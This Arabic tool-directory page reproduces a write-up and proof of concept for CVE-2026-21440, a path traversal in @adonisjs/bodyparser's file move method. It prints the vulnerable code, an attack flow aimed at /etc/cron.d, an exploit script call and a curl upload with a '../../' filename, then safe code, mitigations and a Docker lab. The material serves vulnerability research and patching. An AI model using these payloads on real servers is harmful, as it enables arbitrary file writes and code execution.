Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-21440-writeup-poc — # استغلال وتقرير لـ cve-2026-21440: ثغرة اجتياز المسار الحرجة في @adonisjs/bodyparser تسمح بكتابة ملفات عشوائية | Kitploit
أدوات/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليمموارد منسقةمختبرات وتدريب عملي
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

# استغلال وتقرير لـ cve-2026-21440: ثغرة اجتياز المسار الحرجة في @adonisjs/bodyparser تسمح بكتابة ملفات عشوائية

عرض المستودع
4منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

cve-2026-21440

ثغرة اجتياز المسار تؤدي إلى كتابة ملفات عشوائية في حزمة @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


نظرة عامة

توجد ثغرة حرجة في اجتياز المسار في حزمة @adonisjs/bodyparser تسمح للمهاجمين عن بُعد بكتابة ملفات عشوائية خارج دليل الرفع المقصود. عند استدعاء دالة multipartfile.move() دون توفير اسم ملف معقّم بشكل صريح، يستخدم المحلل الاسم المقدم من العميل افتراضيًا دون تعقيم مناسب.

نظرًا لأن التنفيذ يستخدم path.join() وأن options.overwrite الافتراضي هو true، يمكن للمهاجم صياغة اسم ملف خبيث يحتوي على تسلسلات اجتياز الدليل (مثل ) لكتابة ملفات في أي مكان على نظام الملفات، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

../../etc/cron.d/malicious

تحليل الثغرة

السمةالقيمة
معرف CVEcve-2026-21440
تصنيف CWEcwe-22: تقييد غير صحيح لاسم المسار إلى دليل مقيد ('اجتياز المسار')
درجة CVSS v3.19.2 (حرجة)
متجه الهجومالشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء

السبب الجذري

توجد الثغرة في طريقة multipartfile.move(location, options?). عندما يستدعي المطورون هذه الطريقة دون توفير options.name، يستخدم الكود this.clientName افتراضيًا — اسم الملف الأصلي المرسل من العميل — دون تعقيم.

root@kitploit:~
// مسار الكود المعرض للخطر في @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← إدخال عميل غير معقّم
  const filePath = path.join(location, fileName)     // ← path.join يسمح بالاجتياز
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

تدفق الهجوم

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         المهاجم                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    تطبيق AdonisJS المعرض للخطر                  │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← لا يوجد اسم معقّم مقدم            │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   يتم حله إلى: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   يتم كتابة الملف خارج دليل الرفع                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    كتابة ملفات عشوائية
                         → تنفيذ تعليمات برمجية عبر cron
                         → استبدال ملفات الإعدادات
                         → حقن مفاتيح SSH

الإصدارات المتأثرة

الحزمةالإصدارات المعرضة للخطرالإصدار المُصحح
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 إلى 11.0.0-next.511.0.0-next.6

الاستغلال

المتطلبات الأساسية

  • يستخدم التطبيق المستهدف إصدارًا معرضًا للخطر من @adonisjs/bodyparser
  • تستدعي نقطة نهاية رفع الملفات file.move() دون خيار name صريح
  • يمتلك خادم الويب صلاحيات الكتابة إلى الدليل المستهدف

إثبات المفهوم

root@kitploit:~
# الانتقال إلى دليل الاستغلال
cd Exploit-PoC

# تثبيت التبعيات
pip install -r requirements.txt

# تشغيل الاستغلال
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

الاستغلال اليدوي

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

الاكتشاف والتخفيف

نمط الكود المعرض للخطر

root@kitploit:~
// ❌ معرض للخطر - يستخدم اسم الملف المقدم من العميل
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName يُستخدم كاسم الملف
  }
  return response.ok({ message: 'uploaded' })
}

نمط الكود الآمن

root@kitploit:~
// ✅ آمن - يولد اسم ملف معقّم
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // توليد اسم ملف فريد مع الامتداد الأصلي
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // منع الاستبدال
    })
  }
  return response.ok({ message: 'uploaded' })
}

تخفيفات إضافية

  1. الترقية فورًا — قم بتحديث @adonisjs/bodyparser إلى الإصدار المُصحح
  2. التحقق من الإدخال — تحقق من امتدادات الملفات مقابل قائمة مسموح بها
  3. تعقيم اسم الملف — قم بإزالة فواصل المسار واستخدم أسماء مولّدة
  4. عزل نظام الملفات — استخدم الحاويات للحد من نطاق الضرر
  5. مبدأ الامتياز الأقل — شغّل خادم الويب بصلاحيات دنيا

بيئة المختبر

بدء سريع

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# تشغيل البيئة المعرضة للخطر
docker-compose up --build

# في محطة أخرى، تشغيل الاستغلال
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# التحقق من كتابة الملف خارج دليل الرفع
docker-compose exec app cat /app/test.txt

الجدول الزمني

التاريخالحدث
2026-01-02تم إصدار التصحيح في 10.1.2 و 11.0.0-next.6
2026-01-02تم نشر ghsa-gvq6-hvvp-h34h
2026-01-02تم تعيين cve-2026-21440
2026-01-02تم النشر بواسطة nvd

المراجع

  • nvd - cve-2026-21440
  • cwe-22: اجتياز المسار
  • توثيق AdonisJS bodyparser
  • OWASP اجتياز المسار

إخلاء المسؤولية

هذا المستودع مقدم لأغراض البحث الأمني التعليمي والمصرح به فقط. يهدف كود إثبات المفهوم إلى مساعدة المتخصصين في الأمن على فهم واختبار هذه الثغرة في البيئات المصرح لهم بتقييمها.

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه المعلومات. احصل دائمًا على التصريح المناسب قبل اختبار الثغرات.


تم البحث مع ☕ بواسطة k0nnect

تنزيل الأداة